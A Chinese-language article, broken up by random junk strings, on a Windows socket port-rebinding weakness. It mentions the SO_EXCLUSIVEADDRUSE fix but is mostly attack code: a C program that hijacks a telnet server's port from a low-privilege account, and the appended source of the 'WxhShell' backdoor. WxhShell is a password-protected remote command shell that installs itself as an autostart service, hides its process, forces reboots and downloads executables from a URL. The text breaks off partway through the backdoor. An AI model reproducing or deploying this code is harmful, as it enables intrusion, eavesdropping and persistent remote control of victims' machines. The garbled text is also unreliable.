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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: TCwFPlF| s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8oy^Xc+ y1eWpPJa saddr.sin_family = AF_INET; 3</_c1~ Ju!]&G8 saddr.sin_addr.s_addr = htonl(INADDR_ANY); )
<[XtK *e TqVG. bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); jjRi*^d9 Ha0M)0Anv 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p J!
mw\: /!yU!`bY 这意味着什么?意味着可以进行如下的攻击: OhQgF %op**@4/t\ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Q^9_'t}X / |;RV" 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _lJ!R:* mW(W\'~_~ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 zx"s*:O ~zJbK. _ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 GbY7_N
lHY+}v0 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `_Zg3_K.dS jP$a_hW 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 pSH=%u> .=7vI$ujd 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 hB]Np1(' D(@S+r_ota #include hc(#{]]. #include KEo,m #include T"}5}6rSG #include XSwl Tg DWORD WINAPI ClientThread(LPVOID lpParam); ?|\ER#z int main() [\98$BN { E!)xj.aS$ WORD wVersionRequested; (&Kk7<#` DWORD ret; 5FPM`hLT WSADATA wsaData; B?gOHG*vd> BOOL val; Drgv`z SOCKADDR_IN saddr; 6RU~"C SOCKADDR_IN scaddr; #>("CAB02T int err; ~|DUt SOCKET s; iJ)_RSFK SOCKET sc; ojm @t int caddsize; >UTBO|95y
HANDLE mt; #K_ii)n DWORD tid; d=$Mim wVersionRequested = MAKEWORD( 2, 2 ); j;+b0(53 err = WSAStartup( wVersionRequested, &wsaData ); Fbr;{T
. if ( err != 0 ) { 6m/r+?' printf("error!WSAStartup failed!\n"); 1Z/(G1 return -1; 13$%,q) } u
OmtyX saddr.sin_family = AF_INET; hlvK5Z &.)^
%Tp\z //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x$A+lj]x xA2YG|RU=b saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); EqkN3%IG saddr.sin_port = htons(23); c)6m$5] if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]NQfX[ { r..iko]T printf("error!socket failed!\n"); L:$ ,v^2 return -1; U*rcd-@ } DD+7V@ val = TRUE; :DK {Vg6 //SO_REUSEADDR选项就是可以实现端口重绑定的 8?B!2 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !]A { 0I-9nuw,^; printf("error!setsockopt failed!\n"); ('4_
xOb return -1; [NjXO`5#] } k{R> //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 60^`JVGWH //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 p;`>e>$ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 j1Y~_ L Tm2G4+] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) R"/GQ`^AqA { 5 9
T8r ret=GetLastError(); {Y(zd[ printf("error!bind failed!\n"); yM6pd U]i return -1; n K1Slg#U } >mbHy<< listen(s,2); a Yg6H2Un while(1) 1sy[@Q2b { G{As,`{ caddsize = sizeof(scaddr); ih-#5M@ //接受连接请求 gMi0FO' sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]\-A;}\e if(sc!=INVALID_SOCKET) ch*8B(: { &@X<zWg mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); p%up)]?0 if(mt==NULL) Pa>AWOG' { \i>?q printf("Thread Creat Failed!\n"); ol\Utq, break; Y,qI@n< } `z}?"BW| } JMCKcZ%N CloseHandle(mt); '0;l]/i. } >>4qJ%bL closesocket(s); x;O[c3I WSACleanup(); ^`i#$ return 0; etQCzYIhn } '?{OZXg DWORD WINAPI ClientThread(LPVOID lpParam) 4Co6( { \{_q.;} SOCKET ss = (SOCKET)lpParam; ~f2z]JLr: SOCKET sc; SBu"3ym unsigned char buf[4096]; ^do9*YejX; SOCKADDR_IN saddr; Xz6<lLb long num; .fqN|[> DWORD val; nAAs{ DWORD ret; .D"m@~j7 //如果是隐藏端口应用的话,可以在此处加一些判断 |w~nVRb //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 '`[&}R saddr.sin_family = AF_INET; fivw~z|[@ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5:[0z5Hww saddr.sin_port = htons(23); e-/&$Qq if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZL&qp04} { y-pJF{ R printf("error!socket failed!\n"); n:
^
d|@ return -1; $?iLLA~ } gT{Q#C2Baw val = 100; x
M/+L:_< if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ys9[5@7 { T9|m7 ret = GetLastError(); :1Xz4wkWS* return -1; >0y'Rgfe } ;3coP{ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _#E0g'3 { :wyno#8`- ret = GetLastError(); Vi$~-6n& return -1; \##zR_% } B N5[,J if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %bn jgy { yf.~XUk^ printf("error!socket connect failed!\n"); Mmj;-u closesocket(sc); #4NaL closesocket(ss); S"QWB`W2
return -1; Pl06:g2I } 5X$ jl;6 while(1) 1p3z1_wrs { V*;(kEqj //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 GT., //如果是嗅探内容的话,可以再此处进行内容分析和记录 np^N8$i:n //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ea2ayT num = recv(ss,buf,4096,0); r EE1sy/# if(num>0) wo{gG?B send(sc,buf,num,0); )gUR@V>e2 else if(num==0) \fLMr\LL& break; \ A#41
num = recv(sc,buf,4096,0); Q~]uC2Mw if(num>0) ?3`UbN: send(ss,buf,num,0); :K,i\ else if(num==0) T@B/xAq5! break; k/_ 59@) } dh iuI|?@ closesocket(ss); ;%9 |kU closesocket(sc); 9!\B6=r y4 return 0 ; |$Sedzj' } N7zft ? pmHFlx a$OE0zn` ========================================================== 3,3N^nSD e2TiBTbQaF 下边附上一个代码,,WXhSHELL 9d659iC ^98~U\ar ========================================================== Tn e4 13=AW #include "stdafx.h" kd(8I_i@ O"9\5(w #include <stdio.h> oxA<VWUNT #include <string.h> zT]8KA #include <windows.h> lIS-4QX1 #include <winsock2.h> e{K 215 #include <winsvc.h> )F>#*P #include <urlmon.h> hBUn \~z nPl?K:( #pragma comment (lib, "Ws2_32.lib") `i*E~'
#pragma comment (lib, "urlmon.lib") w+|L+h3L7 n0 {i&[I~+ #define MAX_USER 100 // 最大客户端连接数 9wwqcx)3( #define BUF_SOCK 200 // sock buffer '[:D$q; #define KEY_BUFF 255 // 输入 buffer ~rKrpb]ow L|xbR#v #define REBOOT 0 // 重启 s Y Qk #define SHUTDOWN 1 // 关机 %/.b~|,- lT?v^\(H #define DEF_PORT 5000 // 监听端口 ;bib/ 7(8;to6( #define REG_LEN 16 // 注册表键长度 BC.87Fji/ #define SVC_LEN 80 // NT服务名长度 X`>i&I] E6ElNgL // 从dll定义API hx %v+/ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ya"a`ozq typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =s2*H8] typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); osAd1<EIC typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f}f9@>. >*_$]E // wxhshell配置信息 S`0(*A[W* struct WSCFG { Jhhb7uU+ int ws_port; // 监听端口 7,o7Cf2 z char ws_passstr[REG_LEN]; // 口令 IfAZn_ int ws_autoins; // 安装标记, 1=yes 0=no 9}<ile7^ char ws_regname[REG_LEN]; // 注册表键名 <0&*9ZeD char ws_svcname[REG_LEN]; // 服务名 06Sceq char ws_svcdisp[SVC_LEN]; // 服务显示名 NP3y+s char ws_svcdesc[SVC_LEN]; // 服务描述信息 [EXs char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [D4SW# int ws_downexe; // 下载执行标记, 1=yes 0=no "$^ ~!1~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" WlC:l char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u cW-I;" *fS"ym@ }; 3$>1FoSk VU]`&`~J // default Wxhshell configuration |N 7M^ struct WSCFG wscfg={DEF_PORT, N
+_t-5 "xuhuanlingzhe", c9u`!'g`i 1, | rtD.,m "Wxhshell", oIzj,v8$ "Wxhshell", ~Otoqu| "WxhShell Service", mnX2a "Wrsky Windows CmdShell Service",
:KP@RZm "Please Input Your Password: ", giw &&l=_ 1, hRCJv#]HC " http://www.wrsky.com/wxhshell.exe", k(G^z "Wxhshell.exe" "_NN3lD)X }; _9Te!gJ4_# : bq8N@P/ // 消息定义模块 Hd ={CFip char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A[{yCn`tM char *msg_ws_prompt="\n\r? for help\n\r#>"; CxW>~O: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ^%{7}g&$u char *msg_ws_ext="\n\rExit."; 8^1 Te m char *msg_ws_end="\n\rQuit."; D.u{~ char *msg_ws_boot="\n\rReboot..."; mL{6L? char *msg_ws_poff="\n\rShutdown..."; "&?kC2Y| char *msg_ws_down="\n\rSave to "; ^A&1^B q{LF>Wi char *msg_ws_err="\n\rErr!"; G}raA% char *msg_ws_ok="\n\rOK!"; Z0", !6nS R.1.)P[ char ExeFile[MAX_PATH]; +lcbi int nUser = 0; 4p;`C HANDLE handles[MAX_USER]; -- 95Jz int OsIsNt; qt"m .|fHy SERVICE_STATUS serviceStatus; \V~eVf;~ SERVICE_STATUS_HANDLE hServiceStatusHandle; Moza".fiN j>" @,B g* // 函数声明 J<h$
wM int Install(void); `l[c_%Bm int Uninstall(void); D'DfJwA int DownloadFile(char *sURL, SOCKET wsh); !M1"b; int Boot(int flag); 3,qr-g|;jM void HideProc(void); ;$wVu|& int GetOsVer(void); !?h;wR int Wxhshell(SOCKET wsl); >SHhAEF void TalkWithClient(void *cs); iz PDd{[ int CmdShell(SOCKET sock); z$. 88^ int StartFromService(void); K
Z91- int StartWxhshell(LPSTR lpCmdLine); n 0L^e c-6?2\]j@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =X:Y,? VOID WINAPI NTServiceHandler( DWORD fdwControl ); E*K;H8}s )F]]m#` // 数据结构和表定义 7[XRd9a5( SERVICE_TABLE_ENTRY DispatchTable[] = +\
.Lp 5 { Qe:seW
{wscfg.ws_svcname, NTServiceMain}, CkQ3#L <2 {NULL, NULL} _)m]_eS._ }; 0 /U{p,r6` K is"L(C // 自我安装 yWo; a int Install(void) i<Zc"v; { VjZ|$k char svExeFile[MAX_PATH]; Qpc__dA\ HKEY key; }WXi$(@v strcpy(svExeFile,ExeFile); 7;wd(8 . 3T3EX|G // 如果是win9x系统,修改注册表设为自启动 ( ^Nz9{ if(!OsIsNt) { 5<Nx^D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :*9Wh RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;iL#7NG-R RegCloseKey(key); &d^m 1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S;#'M![8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Hf2_0wA3 RegCloseKey(key); RMu~l@ return 0; <R=Zs[9M1 } lzVq1@B } /t$d\b17pX } {B*s{{[/' else { R$[vm6T? >!1-lfa8 // 如果是NT以上系统,安装为系统服务 )zdQ1&@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Bn&ze.F if (schSCManager!=0) n9ej7oj { \\;jw[P0 SC_HANDLE schService = CreateService I:1C8*/ ( `7V]y- schSCManager, 56kI
5: wscfg.ws_svcname, kJT)r6 wscfg.ws_svcdisp, =MDysb&: SERVICE_ALL_ACCESS, ],Do6
@M- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ope^~+c~\ SERVICE_AUTO_START, sWnLEw SERVICE_ERROR_NORMAL, G3AesTT| svExeFile, v;D~Pa NULL, YO}<Ytx NULL, /!XVHkX[ NULL, s
R/F" NULL, ')<hON44EX NULL mGg+.PFsM ); K_Eux rPn if (schService!=0) 5MJS
~( { #BH*Z( CloseServiceHandle(schService); `1IgzKL9 CloseServiceHandle(schSCManager); Yufc{M00 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $suzW;{# strcat(svExeFile,wscfg.ws_svcname); -;WGS o if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :nOFR$W RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d)Y}>@:W RegCloseKey(key); TJXT-\Vk return 0; w@w(-F!%l } 8P&:_T! } |z^^.d~a0 CloseServiceHandle(schSCManager); .V8Lauz8 } z 1X` o } <*cikXS 5">Z'+8 return 1; D_zZXbNc } suDQ~\n R.yvjPwJ // 自我卸载 V+9 MoT?8 int Uninstall(void) CB}2j { SSMHoJGm HKEY key; 1\I}2; q9s=~d7 if(!OsIsNt) { Jij*x>K>y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4ID5q~ RegDeleteValue(key,wscfg.ws_regname); 6?c7$Y RegCloseKey(key); NU2;X (z[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )MTOU47U RegDeleteValue(key,wscfg.ws_regname); #Ki[$bS~6 RegCloseKey(key); &\*(Q*2N return 0; d5:c^` } j*r{2f4Rt } !'*-$e } c(s.5p ^ else { i?^L/b`H T{[=oH+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j/?kL{B if (schSCManager!=0) X$W~mQma6 { fVpMx4&F
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u;2[AQ. if (schService!=0) GC}==^1 { L)
T (< if(DeleteService(schService)!=0) { .3Oap*X CloseServiceHandle(schService); a<bwzX|. CloseServiceHandle(schSCManager); T1=fNF return 0; "@2-Zdrr1< } *u;Iw{.{ CloseServiceHandle(schService); ,r\o}E2 } YS"=yye3e CloseServiceHandle(schSCManager); P71Lqy)5}A } "S?z@i(K^ } WNrk}LFof C!bUI8x
z return 1; E+;7>ja } </*6wpN >tW#/\x{ // 从指定url下载文件 sLxc(d'A int DownloadFile(char *sURL, SOCKET wsh) #?:l b1 { gc$l^`+M HRESULT hr; O3kA;[f; char seps[]= "/"; JDT`C2-Q char *token; HLG"a3tt char *file; 61'XgkacDS char myURL[MAX_PATH]; r mg}N char myFILE[MAX_PATH]; 7J<5f) -e:`|(Mo strcpy(myURL,sURL); P\k# >}} token=strtok(myURL,seps); iGB}Il) while(token!=NULL) Mb~F%_ { JZyAXm% file=token; $*fMR,~t& token=strtok(NULL,seps); |@4' <4t }
7hPY_W
y zy
}$i? GetCurrentDirectory(MAX_PATH,myFILE); wI/iuc strcat(myFILE, "\\"); -ZLJeY L strcat(myFILE, file); #KZBsa@p send(wsh,myFILE,strlen(myFILE),0); {R6ZKB send(wsh,"...",3,0); $6SW;d+>n hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R8'RA%O9J if(hr==S_OK) Ds:'Lb return 0; rFL;'Cj@ else t1x1,SL return 1; j&qub_j"xX brUF6rQ } ?&1!vz II,8O // 系统电源模块 KPUV@eQ, int Boot(int flag) {bY%# m { h@ryy\9 HANDLE hToken; EXqE~afm2 TOKEN_PRIVILEGES tkp; }0Ed] CzrC%x y if(OsIsNt) { l,5+@i`5i OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {"KMs[M LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7-fb.V9 tkp.PrivilegeCount = 1; }@d @3 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \,0oX!<YY AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2<}%kQ` if(flag==REBOOT) { L~N460 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h<<v^+m return 0; IW] rb/H } ysY*k` 5 else { lL0APT; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IJcsmNWm return 0; \qJXF|z<K } d8P^lv*rQW } |P?*5xPB else { `r 3 if(flag==REBOOT) { jAlv`uB|G" if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;
BHtCuY return 0; -aCKRN85 } O?#7N[7 else { b@hqz!)l` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '!B&:X) return 0; Ml-6OvQ7g } Ab.(7GFK } $/Uq0U {]4LULq return 1; !R`{ TbN } l+0oS'`V*L BnF^u5kv % // win9x进程隐藏模块 8zW2zkv2|# void HideProc(void) Nu)NqFG, { =Nr-iae# g*+>H1} HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N4TV if ( hKernel != NULL ) _7_Y={4=` { :?1Dko^ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8'y$M] e9n ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0?|<I{z2 FreeLibrary(hKernel); *.w9c } Z6MO^_m2 O+x!Bg7 return; +X
88;- } yyTnL 2Y9 ]u/sphPe // 获取操作系统版本 h^P#{W!e\ int GetOsVer(void) ;L ^o*` { g2Z`zQA7 OSVERSIONINFO winfo; }3WxZv]I} winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); aV0"~5 GetVersionEx(&winfo); ]\HvK CN} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /&JT~M return 1; "qy,*{~ else +k R4E23: return 0; [AJJSd/: } nQ3A~ () &q*Aj17 // 客户端句柄模块 l,aay-E int Wxhshell(SOCKET wsl) V0 a3<6@4 { w7&A0M SOCKET wsh; k$:|-_(w struct sockaddr_in client; t4-[Z$n5 DWORD myID; )NT*bLRPQ (A.C]hD while(nUser<MAX_USER) {R{=+2K!|k { EU Fa5C: int nSize=sizeof(client); ]A_`0"m.U wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j3ls3H& if(wsh==INVALID_SOCKET) return 1; 0jWVp-y 4E}Yt$| handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vtJJ#8a]
if(handles[nUser]==0) DzRFMYBR closesocket(wsh); {?7Uj else Qn2&nD%zi nUser++; \o3gKoL% } m+$VVn3Z} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <9b&<K: XL/u#EA0< return 0; V>3X\)qu } hOK8(U0 n~Lt\K: // 关闭 socket ]T) 'Hb void CloseIt(SOCKET wsh) _DEjF)S { z` b,h\
closesocket(wsh); 7F.4Ga; nUser--; .*Qx\, ExitThread(0); >^{yF~( } j_j]"ew) j B{8u&kz) // 客户端请求句柄 >=w)x,0yX void TalkWithClient(void *cs) 2MK-5Kg { dlnX_+((KC ^xk'Z SOCKET wsh=(SOCKET)cs; @>7%qS char pwd[SVC_LEN]; WTiD[u char cmd[KEY_BUFF]; llDkJ)\
char chr[1]; jSaU?ac int i,j; ;qV>L=a l;E(I_
i) while (nUser < MAX_USER) { w&.aQGR# Gav$HLx if(wscfg.ws_passstr) { h;'~,xA if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2st3 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x.4m|f0; //ZeroMemory(pwd,KEY_BUFF); :Llb< MY2 i=0; 3PF_H$`oJ while(i<SVC_LEN) { V|R,!UND \z ) %$#I // 设置超时 B`sAk
% fd_set FdRead; ?gXp*>Kg[ struct timeval TimeOut; a,o*=r FD_ZERO(&FdRead); X5w$4Kj&4l FD_SET(wsh,&FdRead); :rP=t , TimeOut.tv_sec=8; Zj
Z^_X3 TimeOut.tv_usec=0; 9A#i_#[R int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >8[Z.fX if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z'7]h TA y>ktcuML if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eszG0Wu pwd =chr[0]; 43 :X,\~) if(chr[0]==0xd || chr[0]==0xa) { 1xx}~|F?| pwd=0; 1B\WA8 break; 0tJZ4(0 } _t ycgq# i++; BFt> 9x]T } o#N+Y?O c+GG\:gM // 如果是非法用户,关闭 socket 6wg^FD_Q if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EhBKj |y } Ws12b$ c[s4EUG send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wKY_Bo/d send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $Ygue5{c *OQ2ucC8j while(1) { "EJ~QCW*Yh -ze J#B)C ZeroMemory(cmd,KEY_BUFF); x|29L7i CU~PT. // 自动支持客户端 telnet标准 23jwAsSo j=0; OcO3v'& while(j<KEY_BUFF) { iJ|uvPCE if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K|s,ru cmd[j]=chr[0]; Y\hBd$lQ~ if(chr[0]==0xa || chr[0]==0xd) { 6E}qL8'5x cmd[j]=0; .c cp break; V G~Vs@c( } KG{St{uJ j++; ,iwp,=h= } IUct EBmt9S // 下载文件 nT)vNWT= if(strstr(cmd,"http://")) { EEL,^3KR send(wsh,msg_ws_down,strlen(msg_ws_down),0); iam1V)V if(DownloadFile(cmd,wsh)) LXCx~;{\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {7pli{` else D3K8F@d send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3
8`<:{^Y } xd0 L{ue. else { 7o}J%z {f p[BF switch(cmd[0]) { uvS)8-o&F xe$_aBU // 帮助 Q=dy<kg'] case '?': { _Bj":rzY send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wI "U7vr break; ??/
'kmd } L{Vqh0QD& // 安装 SZCze"`[ case 'i': { II=79$n`G if(Install()) PTV:IzoW send(wsh,msg_ws_err,strlen(msg_ws_err),0); eJ81-!) else j*m%*_kO send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9(<@O%YU break; Yu`~U,m } r:TH]hs12+ // 卸载 wwcBsJ1{ case 'r': { ^LzF@{ G if(Uninstall()) _h1mF<\ X^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7 Fsay+a else @9|hMo send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PeEj&4k break; U,1-A=Og{o } 6D_D' ;o // 显示 wxhshell 所在路径 |
VDV<g5h case 'p': { IO:G1;[/2L char svExeFile[MAX_PATH]; FML(4BY, strcpy(svExeFile,"\n\r"); Wh{tZ~c strcat(svExeFile,ExeFile); %e} Saf send(wsh,svExeFile,strlen(svExeFile),0); bi;1s'Y<D break; g<
.qUBPKX } 13/]DF,S"^ // 重启 P{^6v=8) case 'b': { o#1 $q`Z send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Eu04e N if(Boot(REBOOT)) seeBS/% send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~4cC/"q$X else { {H'Y `+ closesocket(wsh); o*hF<D$Y ExitThread(0); FHI ;)wn= } ENY+^7 break; BTrn0 } ]5:8Z@ // 关机 )dd@\n$6 case 'd': { %D "I send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aC)!T if(Boot(SHUTDOWN)) 8, >P send(wsh,msg_ws_err,strlen(msg_ws_err),0); )whA<lC else { "kqPmeI closesocket(wsh); E8&TO~"a]e ExitThread(0); ,
++ `=o } ufT`"i break; m&yJzMW| } '1/i"yoW // 获取shell |$_sX9\`?| case 's': { @U}1EC{A CmdShell(wsh); H}
g{Cr"Ex closesocket(wsh); |LKXOU
c ExitThread(0); DM>eVS3} break; VVOd]2{ } 3sZ\0P} // 退出 ,s;UfF case 'x': { 5l*&>C[(i send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G,w(d@ CloseIt(wsh); 3=ymm^ break; VY\&8n}e( } SasJic2M // 离开 R{T$[$6S case 'q': { UFuX@Lu0 send(wsh,msg_ws_end,strlen(msg_ws_end),0); $iz|\m closesocket(wsh); _:27]K: WSACleanup(); x-3\Ls[I exit(1); 0{ R=9wcc break; '2^Q1{ :\ } 6)Lk-D } :9 ^*
^T } kMd.h[X~ wj0\$NQ=x // 提示信息 6!FQzFCZq if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VP]% Hni] } B^9j@3Ux } S{m%H{A! A^<iL return; PwLZkr@4^ } -3Vx76Y d6 5L!4 // shell模块句柄 '!$Rw"K. int CmdShell(SOCKET sock) c!9nnTap { V "h
+L7T STARTUPINFO si; @;RXLq/8 ZeroMemory(&si,sizeof(si)); u.Dz~$T si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CeC6hGR5 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E?0%Z&1h PROCESS_INFORMATION ProcessInfo; |
%Vh`HT char cmdline[]="cmd"; n.(FQx.F CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g}',(tPMZ return 0; D}X\Ca"h } uW36;3[f#1 w+CA1q< // 自身启动模式 n7-6-
# int StartFromService(void) <e</m)j { B`J~^+`[* typedef struct {{p7 3
'u { CizX<Cr} DWORD ExitStatus; 3/n5#&c\4 DWORD PebBaseAddress; Jz e:[MYS DWORD AffinityMask; JFk
lUgg DWORD BasePriority; 9-*uPK]m9 ULONG UniqueProcessId; omBoo5e ULONG InheritedFromUniqueProcessId; s!7y } PROCESS_BASIC_INFORMATION; k+pr \d ~ p=}Nn( PROCNTQSIP NtQueryInformationProcess; 65Yv4pNL WI-1)1t static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?<'}r7D static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #4 pB@_ hQDXlFHT HANDLE hProcess; r\V
